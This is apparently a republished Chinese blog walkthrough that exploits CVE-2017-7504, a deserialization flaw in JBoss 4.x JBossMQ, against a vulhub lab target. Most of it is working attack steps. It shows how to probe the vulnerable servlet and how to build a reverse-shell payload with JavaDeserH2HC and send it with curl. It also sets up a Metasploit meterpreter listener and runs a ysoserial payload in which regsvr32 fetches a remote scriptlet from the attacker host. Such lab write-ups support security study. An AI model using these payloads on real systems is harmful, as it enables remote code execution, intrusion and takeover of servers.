(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞
Posted 浪人联想
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞相关的知识,希望对你有一定的参考价值。
vulhub官方复现:https://vulhub.org/#/environments/jboss/CVE-2017-7504/
漏洞描述:Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ 实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
漏洞复现:
注意:自己搭建jboss服务器的话需要,设置外网访问:
在C:\\jboss-4.2.3\\server\\default\\deploy\\jboss-web.deployer\\server.xml
将 address="$jboss.bind.address 改为:address=“0.0.0.0”, 并重启Jboss
<Connector port="8080" address="$jboss.bind.address"
maxThreads="250" maxHttpHeaderSize="8192"
emptySessionPath="true" protocol="HTTP/1.1"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="20000" disableUploadTimeout="true" />
使用vulhub靶场进行复现:
攻击机:192.168.8.11
靶机:192.168.8.9
启动JBoss AS 4.0.5
访问:http://192.168.8.9:8080/
F12打开开发者工具,点击网络,刷新网页。
找到jboss版本:
发现属于漏洞范围内。
访问测试poc1:http://192.168.8.9:8080/invoker/readonly
报 500 错误,则说明目标机器可能存在此漏洞。
接着访问测试poc2: http://192.168.8.9:8080/jbossmq-httpil/HTTPServerILServlet
返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。
下载poc:
借助反序列化漏洞利用工具集:JavaDeserH2HC,里面已经提供好了各种 payload 可直接利用。
git clone https://github.com/joaomatosf/JavaDeserH2HC
进入JavaDeserH2HC
cd JavaDeserH2HC/
执行
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
设置接收shell的IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:监听端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.8.11:4444
监听4444端口:
用攻击机向靶机发送payload,在JavaDeserH2HC目录下执行
curl http://192.168.8.9:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹shell:
使用MSF:
注意,这回得用 ysoserial.jar 来生成 payload。
配置监听器:
msf > use exploit/multi/script/web_delivery
msf > set target 3
msf > set payload windows/meterpreter/reverse_tcp_rc4_dns
msf > set lhost 192.168.8.11
msf > set lport 4444
msf > set rc4password klionsec
msf > exploit -j
生成 meter.ser 文件
java -jar ysoserial.jar CommonsCollections5 "regsvr32 /s /n /u /i:http://192.168.8.11:8080/pkOf1mEJyzoJ.sct scrobj.dll" > meter.ser
通过 curl 把 payload 发送到目标机器上去执行
curl http://192.168.8.9:8080/invoker/readonly --data-binary @meter.ser
关闭docker环境
docker-compose down
仅供学习!
ok!
以上是关于(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章
(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞
(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞
[ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504